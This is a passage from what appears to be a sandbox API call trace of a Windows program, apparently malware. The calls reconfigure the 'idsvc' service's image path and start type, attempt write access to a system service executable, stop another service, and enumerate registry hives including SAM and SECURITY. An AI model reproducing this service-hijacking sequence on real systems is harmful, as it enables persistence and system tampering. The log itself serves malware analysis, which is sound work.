(HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0246.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0246.575] LocalFree (hMem=0x7f03d0) returned 0x0 [0246.575] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0246.575] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x2) returned 0x8038a0 [0246.576] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0246.577] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.577] RegCloseKey (hKey=0x154) returned 0x0 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0246.577] RegCloseKey (hKey=0x150) returned 0x0 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0246.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0246.577] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0246.577] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.577] GetLastError () returned 0x5 [0246.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0246.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0246.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0246.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0246.581] NtClose (Handle=0x150) returned 0x0 [0246.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0246.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0246.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0246.919] NtClose (Handle=0x150) returned 0x0 [0246.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0246.919] NtClose (Handle=0x154) returned 0x0 [0246.919] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x2710) returned 0x0 [0247.340] NtClose (Handle=0xc4) returned 0x0 [0247.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0247.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0247.340] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0247.341] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.341] GetLastError () returned 0x5 [0247.341] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0247.341] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0247.341] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0247.341] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x803990 [0247.342] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0247.342] GetLastError () returned 0x425 [0247.342] CloseServiceHandle (hSCObject=0x803990) returned 1 [0247.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0247.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0247.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0247.343] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.343] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.343] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.343] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0247.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.344] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.344] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.344] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0247.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.344] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.345] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.345] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.345] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.345] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f19b8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0247.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.345] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.346] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.346] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.346] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.347] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.347] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.347] RtlFreeHeap (HeapHandle=0x2520000, 